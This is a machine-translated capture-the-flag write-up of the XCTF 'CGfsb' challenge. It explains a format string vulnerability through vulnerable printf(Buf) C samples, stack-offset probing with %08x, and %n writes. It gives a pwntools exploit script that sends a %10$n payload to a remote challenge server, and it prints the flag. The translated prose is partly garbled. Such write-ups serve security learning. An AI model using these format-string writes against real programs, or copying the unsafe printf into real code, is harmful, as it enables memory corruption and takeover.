Offense and defense in the world -CGfsb238

Test file: https://adworld.xctf.org.cn/media/task/attachments/5982010c172744c8a1c93c24b5200b21

 

1. Format String Vulnerability

We use printf output output formatted string array can be written:

#include <stdio.h>

int main()
{
    char Buf[100];
    printf("Please inpurt flag:");
    scanf("%s",Buf);
    printf("%s",Buf);
    return 0;
}

 

But you can also use

#include <stdio.h>

int main()
{
    char Buf[100];
    printf("Please inpurt flag:");
    scanf("%s",Buf);
    printf(Buf);
    return 0;
}

 

But this output vulnerable, when we enter the format string

 

 Way calling printf function is cdecl, in the form of a stack parameters

 (Picture quoted from: https://blog.csdn.net/qq_43394612/article/details/84900668 )

 

 When we enter% x format string, the printf stack will output data following% x form, in fact, the format string 61fe6c back data, which can be observed in the OD

 

So if we enter the string "ABCD", can confirm the position of the string in the stack, then we will be able to modify the string stack, and explained by the above, we can enter ABCD.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x.% 08x, to confirm the "ABCD" in the stack position.

 

 Current string "ABCD" is at position 6,% <number> $ x is the number of parameters directly read position, the same can be used in% n,% d.

 

Specific can refer to this:  https://blog.csdn.net/qq_43394612/article/details/84900668

 

2. Prepare

To get information

  • 32 files
  • Unopened PIE, not randomized global variable address

 

3. Open the file using IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

 

Through analysis, it is clear that we just have to let pwnme value of 8 on the line, you first need to understand% n

% N: assigning the number of characters has been printed before% n printf position offset to the address pointer points to, as% 100 × 10 $ n represents the offset address at 0x64 write pointer 10 points to save ( 4 bytes), and the% $ hn write address space represented by 2 bytes,% $ hhn write address space is represented by 1 byte,% $ lln for write address space is 8 bytes in 32bit and 64bit under the same environment. Sometimes, the 4-byte write directly cause the program to crash or wait too long, you can% $ hhn to adjust by% $ hn or. ,% <Number> $ n number of directly modifying parameter to change the value of the stack.

 String stored in the first 10 (or OD can be used to find the location GDB debugger)

 

4. decryption script

#-*- coding:utf-8 -*-
from pwn import *

p = remote('111.198.29.45', 33059)
pwnme = 0x0804A068 # pwnme所在地址,因为是全局变量,地址不会变
payload1 = 'AAAA'
# 字符串位置在第10位,因此是%10$n
# 又因为p32(pwnme)占4字节,因此还需要4字节,才能返回8,所以是'AAAA%10$n'
payload2 = p32(pwnme) + 'AAAA%10$n' 
 
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2) # 将8写入到pwnme中
# print(p.recv())
# print(p.recv()) 
p.interactive()

 

5.get flag!

cyberpeace{3343a4a64b9a2ed42e7fcd07386397f3}

Guess you like

Origin www.cnblogs.com/Mayfly-nymph/p/12057740.html